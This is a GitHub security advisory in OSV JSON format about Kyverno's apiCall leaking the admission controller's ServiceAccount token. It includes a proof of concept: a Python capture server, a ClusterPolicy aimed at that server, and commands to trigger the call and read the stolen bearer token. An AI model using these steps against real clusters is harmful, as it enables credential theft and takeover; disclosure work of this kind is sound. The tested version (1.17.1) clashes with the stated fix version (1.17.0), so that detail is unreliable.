{"id":"GHSA-8wfp-579w-6r25","summary":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)","details":"### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer \u003ctoken\u003e\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer \u003cSA_TOKEN\u003e\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence","aliases":["BIT-kyverno-2026-84195","CVE-2026-84195","GO-2026-5268"],"modified":"2026-09-25T14:25:37.213145521Z","published":"2026-04-16T21:37:29Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-16T21:37:29Z","nvd_published_at":null,"cwe_ids":["CWE-200","CWE-522"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"},{"type":"PACKAGE","url":"https://github.com/kyverno/kyverno"}],"affected":[{"package":{"name":"github.com/kyverno/kyverno","ecosystem":"Go","purl":"pkg:golang/github.com/kyverno/kyverno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-8wfp-579w-6r25/GHSA-8wfp-579w-6r25.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}